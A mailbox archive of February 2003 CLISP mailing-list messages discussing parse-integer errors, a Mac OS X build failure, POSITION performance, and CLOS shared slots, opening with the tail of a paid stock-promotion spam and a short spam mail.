from those presently anticipated. Forward looking statements in this action may be identified through the use of words such as: "projects", "foresee", "expects", "estimates," "believes," "understands" "will," "anticipates," or that by statements indicating certain actions "may," "could," or "might" occur. All information provided within this email pertaining to investing, stocks, securities must be understood as information provided and not investment advice. Emerging Equity Alert advises all readers and subscribers to seek advice from a registered professional securities representative before deciding to trade in stocks featured within this email. None of the material within this report shall be construed as any kind of investment advice. In compliance with the Securities Act of 1933, Section17(b), Undervalued Weekly Reporter discloses the receipt of 167,500 unrestricted shares of LAIR from a third party for the publication of this report. Be aware of an inherent conflict of interest resulting from such compensation due to our intent to profit from the liquidation of these shares. Shares may be sold at any time, even after positive statements have been made regarding the above company. All factual information in this report was gathered from public sources, including but not limited to SEC filings, Company Press Releases, and Market Guide. Undervalued Weekly Reporter believes this information to be reliable but can make no guarantee as to its accuracy or completeness. Use of the material within this email constitutes your acceptance of these terms. ****** Advertising Disclaimer ****** We have received monetary payment for this mailing service We hold no stocks and hold no personal interest in this company. ****** Remove instructions: This message has been sent to you in compliance with our strict anti-abuse regulations. We will continue to bring you valuable offers on the products and services that interest you most. If you do not wish to receive further mailings, please click below. You may then rest-assured that you will never receive another email from us again. We respect all removal requests. To be immediately removed from our mailing lists just click on this link: MailTo:sil661@excite.com?subject=Delete This message is an advertisement. Copyright 2000, 2001, 2002 all rights reserved From offer1@cfl.rr.com Fri Feb 14 00:41:44 2003 Received: from ms-smtp-02.tampabay.rr.com ([65.32.1.39]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jbPj-0001h6-00 for ; Fri, 14 Feb 2003 00:41:43 -0800 Received: from david-congero (167.50.35.65.cfl.rr.com [65.35.50.167]) by ms-smtp-02.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h1E8duiu000249 for ; Fri, 14 Feb 2003 03:41:39 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: The learning institute To: clisp-list@sourceforge.net Message-ID: <200321413305clisp-list@clisp.cons.org> Subject: [clisp-list] PROTECT YOURSELF Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 14 00:42:04 2003 X-Original-Date: Fri, 14 Feb 2003 03:41:45 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From coby@thesoftwaresmith.com.au Fri Feb 14 01:22:59 2003 Received: from thesoftwaresmith.com.au ([210.15.192.190] helo=digit) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18jc38-0007kI-00 for ; Fri, 14 Feb 2003 01:22:26 -0800 Received: from login.localnet ([192.168.1.232] helo=heffer) by digit with smtp (Exim 3.12 #1 (Debian)) id 18jbzi-00056E-00 for ; Fri, 14 Feb 2003 20:18:55 +1100 Message-ID: <041001c2d40b$12277620$7ccddccb@localnet> From: "Coby Beck" To: References: <9F8582E37B2EE5498E76392AEDDCD3FE020EC7F0@G8PQD.blf01.telekom.de> Subject: Re: [clisp-list] RFE: parse-integer error message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 14 01:23:08 2003 X-Original-Date: Fri, 14 Feb 2003 20:25:50 +1100 Sam Steingold: > but it will leave you wondering where you pass this string to > PARSE-INTEGER. That's a good point. > > This can become especially important as I intend to make heavy use of > > :start and :end keywords on a 256KB large string. Imagine this huge > > string output as part of the error message and stored into the > > application's errorlog each time parse-integer complains! > > I'd currently obtain a logfile of size (* 2486 (+ 50 (* 256 1024))), half a gigabyte for 2486 occurrences... > > > > Cost to implementors: tiny > > Run-time cost in case of no error: 0 > > Run-time cose in case of error: 1 additional SUBSEQ > > what about > > substring "un" (125:127) does not have integer syntax > > (we can also add a slot to PARSE-ERROR which will contain the whole string) This sounds like a very reasonable plan to me. Coby Beck (remove #\Space "coby 101 @ bigpond . com") From lupprian@mac.com Mon Feb 17 12:23:15 2003 Received: from smtpout.mac.com ([17.250.248.97]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18krnC-0000YR-00 for ; Mon, 17 Feb 2003 12:23:10 -0800 Received: from asmtp01.mac.com (asmtp01-qfe3 [10.13.10.65]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h1HKN9J4012832 for ; Mon, 17 Feb 2003 12:23:09 -0800 (PST) Received: from [62.82.0.49] ([62.82.0.49]) by asmtp01.mac.com (Netscape Messaging Server 4.15) with ESMTP id HAGZAI00.S9G for ; Mon, 17 Feb 2003 12:23:06 -0800 User-Agent: Microsoft-Entourage/10.1.0.2006 From: Carlos Lupprian To: Message-ID: Mime-version: 1.0 Content-type: multipart/alternative; boundary="B_3128361785_98268" Subject: [clisp-list] Clisp in Jaguar Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 17 12:24:03 2003 X-Original-Date: Mon, 17 Feb 2003 21:22:57 +0100 >Este mensaje tiene formato MIME. Al no reconocer su lector de correo este formato, puede que todo o parte del mensaje resulte ilegible. --B_3128361785_98268 Content-type: text/plain; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable Hi. I=B9ve been working with Clisp 2.27 in MacOs 10.1 and works fine. I've made the upgrade to MacOs 10.2 and clisp but it doesn't works . I tried wit= h version 2.28 and 2.29 but it doesn't works. Does anybody works with Clisp in Jaguar? This is a transcription of my Shell. *********************************** Je4:~/lisp/clisp-2.29] lupprian% make cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a -ldl -o base/lisp.run ld: can't locate file for: -ldl make: *** [base/lisp.run] Error 1 *********************************** What happened?. Thanks Carlos Lupprian lupprian@mac.com --B_3128361785_98268 Content-type: text/html; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable Clisp in Jaguar Hi. I’ve been working with Clisp 2.27 in MacOs 1= 0.1 and works fine. I've made the upgrade to MacOs 10.2 and clisp but it doe= sn't works . I tried with version 2.28 and 2.29 but it doesn't works.  = Does anybody works with Clisp in Jaguar? This is a transcription of my Shell= .
***********************************
Je4:~/lisp/clisp-2.29] lupprian% make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a bas= e/libiconv.a base/libreadline.a -ldl -o base/lisp.run
ld: can't locate file for: -ldl
make: *** [base/lisp.run] Error 1
***********************************

What happened?.
Thanks

Carlos Lupprian

lupprian@mac.com
--B_3128361785_98268-- From tfb@ocf.berkeley.edu Mon Feb 17 12:34:24 2003 Received: from war.ocf.berkeley.edu ([128.32.191.89] ident=0) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18krxy-0003TK-00 for ; Mon, 17 Feb 2003 12:34:18 -0800 Received: from famine.OCF.Berkeley.EDU (daemon@famine.OCF.Berkeley.EDU [128.32.191.92]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id h1HKYAu07747; Mon, 17 Feb 2003 12:34:10 -0800 (PST) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.6/8.10.2) id h1HKYAY08128; Mon, 17 Feb 2003 12:34:10 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <15953.18242.142571.425999@famine.OCF.Berkeley.EDU> To: Carlos Lupprian Cc: Subject: [clisp-list] Clisp in Jaguar In-Reply-To: References: X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 17 12:35:10 2003 X-Original-Date: Mon, 17 Feb 2003 12:34:10 -0800 Carlos Lupprian writes: > Hi. I=B9ve been working with Clisp 2.27 in MacOs 10.1 and works fine= . I've > made the upgrade to MacOs 10.2 and clisp but it doesn't works . I tr= ied with > version 2.28 and 2.29 but it doesn't works. Does anybody works with= Clisp > in Jaguar? This is a transcription of my Shell. My installation (2.27) works fine -- try compiling from the source (I don't know if it makes a difference, but that's what I did). --=20 /|_ .-----------------------. =20 ,' .\ / | No to Imperialist war | =20 ,--' _,' | Wage class war! | =20 / / `-----------------------' =20 ( -. | =20 | ) | =20 (`-. '--.) =20 `. )----' =20 From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 18 01:19:56 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18l3us-0006uU-00 for ; Tue, 18 Feb 2003 01:19:54 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 18 Feb 2003 10:19:14 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Feb 2003 10:19:10 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE020ED220@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] fastest (character) based io with CLISP? - unicode is fast, posit ion dead slow Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 18 01:20:09 2003 X-Original-Date: Tue, 18 Feb 2003 10:19:09 +0100 Hi, Here's some data to support the claim that POSITION (and by deduction COUNT and all the other sequence functions) are dead slow. Using a 50MB log file, causing 474832 calls to POSITION (code below), I obtain Real time: 34.906 sec. Run time: 34.53125 sec. Space: 531_720 Bytes GC: 2, GC time: 0.015625 sec. Using my specialised VECTOR-POSITION, I obtain Real time: 5.063 sec. Run time: 4.6875 sec. Space: 531_720 Bytes GC: 2, GC time: 0.0 sec. This difference is far from negligible in my current application. The believed reason that the sequence functions are slow is that they are overly generic. Moving from one element to the next in the sequence causes plenty of calls. There's nothing like a tight loop. I advocate that CLISP should recognize optimizable cases and handle them internally. The time to test internally at run-time for optimizable cases is negligible compared to the full-blown sequence and stepping overhead, especially for a byte-code VM like CLISP. Optimizable cases are, at a glance o vector instead sequence (possibly only string or unsigned-byte 8/16/32) o and test EQ or EQL (or maybe CHAR= and = with corresponding array element-type) o with KEY #'IDENTITY o :from-end is optimizable as well (means almost duplicate code). Specifically, I advocate that CLISP handles these cases transparently and does not expose something like EXT:VECTOR-POSITION. CLISP should encourage portable code and thus use of CL:POSITION etc., with guarantees that it will be fast where it can be. As a result, non CLISP-specific code will be fast as well, without the need to go look for places where VECTOR-POSITION may be applicable and add #+CLISP hacks. This said, I'll post my preliminary hack of vector-position (so far really only string-position) to the patches section of sourceforge. http://sourceforge.net/tracker/index.php?func=detail&aid=688545&group_id=1355&atid=301355 (defun test1 (&optional (logfile "50MB.log.txt")) (space (with-open-file (stream logfile :direction :input #+CLISP :buffered #+CLISP T :element-type 'character) (let ((vec (make-array (ash 2 17) :element-type 'character))) (loop for max = (ext:read-char-sequence vec stream) for block-count from 0 while (= max (length vec)) ;TODO handle lines at buffer boundary and rest portion do (loop for start = 0 then (1+ stop) for stop = (position #\newline vec :start start :end max) while stop)))))) test2 is test1 with position replaced by (EXT::VECTOR-POSITION #\newline vec start max) Maybe there are more restriction on optimizable cases: what does the standard say on fill-pointers w.r.t. changes while within POSITION (e.g. the KEY or TEST functions may change the fill-pointer) or is that too hairy? Regards, Jorg Hohle. And the next thing to be handled internally may well be (CONCATENATE 'STRING ...all-strings) (dog slow) -> EXT:STRING-CONCAT (fast). Timings I did many years ago showed a comparable slowdown. I don't know if anybody ever changed this since I noticed this. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 19 05:11:54 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18lU0u-0003Us-00 for ; Wed, 19 Feb 2003 05:11:52 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 19 Feb 2003 14:09:14 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Feb 2003 14:09:13 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234E056@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] CLOS: class-wide slots defined at compile-time? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 19 05:12:15 2003 X-Original-Date: Wed, 19 Feb 2003 14:09:06 +0100 Hi, I'm seeking help with CLOS. I want to define a slot that all instances = of a class will share. This sounds like typical :allocation :class. But = read on. One of these special slots is supposed to contain a function (closure) = that I want compiled at file-compilation time. Another will be set at = run-time. Another will contain the lambda expression to compile at = run-time and ought to be defined at file-compilation time as well. I thought about the following macro to declare the code: (define-analyse-line ((analyse durchsatz)) (incf (gethash key (analyse-top-table analyse))) (princ #\; (analyse-outstream analyse))) which would macroexpand to: (let ((*columns-used* '())) (setf (analyse-line-function (find-class 'durchsatz)) (lambda (analyse .line. .start-positions. .stop-positions.) (macrolet ((log-line-universal-time () ;TODO? flet (or (analyse-universal-time analyse) #)) (log-line-sql-time () (format nil #))) body...)) (setf (analyse-used-columns #) *columns-used*))) and here's something which cannot work (defmacro define-analyse-line ((var class) &body body) (let* ((*precompile* nil) (*columns-used* '())) (setf (analyse-line-function (find-class ',class)) (lambda (,var .line. .start-positions. .stop-positions.) ,@body)) (setf (analyse-line-lambda (find-class ',class)) ',body) (setf (analyse-used-columns (find-class ',class)) *columns-used*))) The reason it cannot work is that analyse-line-lambda and = -line-function are not typically slots of (find-class 'analyse), but = rather shared slots of each instance. Need I got MOP here or is that overshoot? Am I misguided? Maybe all I need is a wrapper around defclass and some initform = instead? This could become weird as well, since the closure body may reference = slots to be defined in this same DEFCLASS form (e.g. analyse-top-table = above). Thanks for your help, J=F6rg H=F6hle. From sds@gnu.org Wed Feb 19 10:11:09 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18lYgW-000893-00 for ; Wed, 19 Feb 2003 10:11:08 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030219181101.QJJW23484.out001.verizon.net@loiso.podval.org>; Wed, 19 Feb 2003 12:11:01 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1JIBacO022465; Wed, 19 Feb 2003 13:11:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1JIBaHS022461; Wed, 19 Feb 2003 13:11:36 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLOS: class-wide slots defined at compile-time? References: <9F8582E37B2EE5498E76392AEDDCD3FE0234E056@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0234E056@G8PQD.blf01.telekom.de> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.48.207] at Wed, 19 Feb 2003 12:11:00 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 19 10:12:02 2003 X-Original-Date: 19 Feb 2003 13:11:36 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E056@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?" > * Sent on Wed, 19 Feb 2003 14:09:06 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I'm seeking help with CLOS. I want to define a slot that all instances > of a class will share. This sounds like typical :allocation > :class. IIUC, you need what MOP calls a "class prototype". I.e., (defclass foo () (bar :allocation :class)) (setf (slot-value (class-prototype (find-class 'foo)) 'bar) (lambda () ...)) right? (defun shared-slot (class slot) (let ((slot-location (gethash slot (clos::class-slot-location-table class)))) (cond ((null slot-location) (error "no such slot")) ((atom slot-location) (error "slot is local")) (t (svref (clos::class-shared-slots (car slot-location)) (cdr slot-location)))))) (defun (setf shared-slot) (value class slot) (let ((slot-location (gethash slot (clos::class-slot-location-table class)))) (cond ((null slot-location) (error "no such slot")) ((atom slot-location) (error "slot is local")) (t (setf (svref (clos::class-shared-slots (car slot-location)) (cdr slot-location)) value))))) (setf (shared-slot (find-class 'foo) 'bar) (lambda () ...)) Does this solve your problem? Should we export CLOS:SHARED-SLOT, CLOS:SHARED-SLOT-BOUNDP and CLOS:SHARED-SLOT-MAKUNBOUND? An alternative would be to add a class prototype (which would waste an instance for each class...) I don't thing we may extend SLOT-VALUE and friends like this: (SLOT-VALUE symbol slot) == (SHARED-SLOT (find-class symbol) slot) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Life is a sexually transmitted disease with 100% mortality. From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 20 08:52:34 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ltw0-0000ww-00 for ; Thu, 20 Feb 2003 08:52:33 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 20 Feb 2003 17:52:25 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Feb 2003 17:52:25 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234E4C2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CLOS: class-wide slots defined at compile-time? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 20 08:53:10 2003 X-Original-Date: Thu, 20 Feb 2003 17:52:21 +0100 Hi, Sam wrote: >IIUC, you need what MOP calls a "class prototype". >I.e., >(defclass foo () > (bar :allocation :class)) > >(setf (slot-value (class-prototype (find-class 'foo)) 'bar) > (lambda () ...)) >right? Looks like this would do the job. I'll have to take the AMOP book out of the library again. >(defun shared-slot (class slot) > (cond ((null slot-location) (error "no such slot")) >(setf (shared-slot (find-class 'foo) 'bar) (lambda () ...)) >Does this solve your problem? This would so, as far as CLOS is concerned. But I ran into another, non CLOS, but compile-time problem (see other mail). >Should we export CLOS:SHARED-SLOT, CLOS:SHARED-SLOT-BOUNDP and >CLOS:SHARED-SLOT-MAKUNBOUND? Why not? Once you wrote them... Hmm, better error messages are needed, which leads to the following thought. >An alternative would be to add a class prototype (which would waste an >instance for each class...) The class-prototype hack(?) may be something 1) which integrates better with the rest of CLOS. E.g. I guess one can raise a slot-missing error (which needs an instance as the second argument). How to raise slot-missing from within the proposed shared-slot function? 2) which seems to be somewhat standard in CLOS (I guess from your wording), whereas SHARED-SLOT would be specific to CLISP. >I don't thing we may extend SLOT-VALUE and friends like this: >(SLOT-VALUE symbol slot) == (SHARED-SLOT (find-class symbol) slot) SLOT-VALUE is a function, so I guess there's not much to be changed there or general performance will suffer. But I don't understand this ==. Maybe a separate weak hash-table trick may allow to implement a singleton class-prototype for all classes for which one was requested without spending an extra slot on each class? (defvar clos:*class-prototypes* (make-hash-table :Test #'eq :weak :keys)) ; weak so as not to grow unnecessarily (defun class-prototype (class) (check-type class 'standard-class) (or (gethash class *class-prototypes* nil) (setf (gethash class *class-prototypes) (make-weird-instance-full-of # slots except for the shared ones or whatever-is-needed)))) Or maybe that class-prototype should not be an instance of its class (but of some other one). Would that be against programmer's expectations?? Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 20 09:04:08 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18lu7B-0004LF-00 for ; Thu, 20 Feb 2003 09:04:05 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 20 Feb 2003 18:03:57 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Feb 2003 18:03:57 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234E4D1@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] getting compile-time values into code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 20 09:05:03 2003 X-Original-Date: Thu, 20 Feb 2003 18:03:56 +0100 Hi, I came up with the following, non-working piece of code: I have a set of macros (not shown) whose macroexpansion adds to = *columns-used*. The idea is that during evaluation or compilation, I = gather information about which columns from a database are actually = accessed. (defvar *columns-used* '()) Then I want to store this value of *columns-used* into some place. (defvar *analyse-funktionen* (make-hash-table :test #'eq)) (defmacro define-ananalyse (((var class)) &body body) (check-type var symbol) ;;TODO does not work in compiled mode: need *columns-used* from = compiler environment (let ((lambda-form `(lambda (,var .line. .start-positions. = .stop-positions.) ,@body))) `(eval-when (load compile eval) (let ((*precompile* nil) (*columns-used* '())) (format *trace-output* "Columns for ~S so far: ~S~%" ',class = *columns-used*) (setf (gethash ',class *analyse-funktionen*) (list (function ,lambda-form) ',lambda-form *columns-used*)) (format *trace-output* "Columns now: ~S~%" *columns-used*) )))) When loading a file compiled with this, the effect is clear: the third = element in the list will be NIL. The reason is, of course, that when = reading the compiled file, no macroexpansion occurs, so *columns-used* = is not modified at load-time. In interpreted more everything is fine: Columns for ZUGRIFFE so far: NIL Columns now: (I/F_DIR PROTO SERVICE TIME DATE TYPE ACTION) Using (load :compiling t) Columns for ZUGRIFFE so far: NIL Columns now: (I/F_DIR PROTO SERVICE TIME DATE TYPE ACTION) Columns for ZUGRIFFE so far: NIL Columns now: NIL One of these comes from eval-when compile, the second from eval-when = eval. Any idea? Sounds familiar? J=F6rg H=F6hle. From sds@gnu.org Thu Feb 20 11:15:18 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18lwAA-0005K9-00 for ; Thu, 20 Feb 2003 11:15:18 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030220191504.VLAC3094.out003.verizon.net@loiso.podval.org>; Thu, 20 Feb 2003 13:15:04 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1KJFhcO024887; Thu, 20 Feb 2003 14:15:43 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1KJFgok024883; Thu, 20 Feb 2003 14:15:42 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLOS: class-wide slots defined at compile-time? References: <9F8582E37B2EE5498E76392AEDDCD3FE0234E4C2@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0234E4C2@G8PQD.blf01.telekom.de> Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.48.207] at Thu, 20 Feb 2003 13:15:04 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 20 11:16:10 2003 X-Original-Date: 20 Feb 2003 14:15:42 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E4C2@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?" > * Sent on Thu, 20 Feb 2003 17:52:21 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote: > >An alternative would be to add a class prototype (which would waste an > >instance for each class...) > > The class-prototype hack(?) may be something > 2) which seems to be somewhat standard in CLOS (I guess from your > wording), whereas SHARED-SLOT would be specific to CLISP. it's in MOP. > Maybe a separate weak hash-table trick may allow to implement a > singleton class-prototype for all classes for which one was requested > without spending an extra slot on each class? > (defvar clos:*class-prototypes* (make-hash-table :Test #'eq :weak :keys)) > ; weak so as not to grow unnecessarily > (defun class-prototype (class) > (check-type class 'standard-class) > (or (gethash class *class-prototypes* nil) > (setf (gethash class *class-prototypes) > (make-weird-instance-full-of # slots except for the shared ones or whatever-is-needed)))) > Or maybe that class-prototype should not be an instance of its class > (but of some other one). Would that be against programmer's > expectations?? it's better to keep the prototype inside the CLASS struct. class may be redefined &c. we may create the prototype on demand. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux MS DOS: Keyboard not found. Press F1 to continue. From hin@van-halen.alma.com Thu Feb 20 15:03:44 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18lzj8-0002HT-00 for ; Thu, 20 Feb 2003 15:03:38 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h1KN3V1u005062 for ; Thu, 20 Feb 2003 18:03:31 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h1KN3Vcj005059; Thu, 20 Feb 2003 18:03:31 -0500 Message-Id: <200302202303.h1KN3Vcj005059@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Eval problem w/ floating point literals? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net 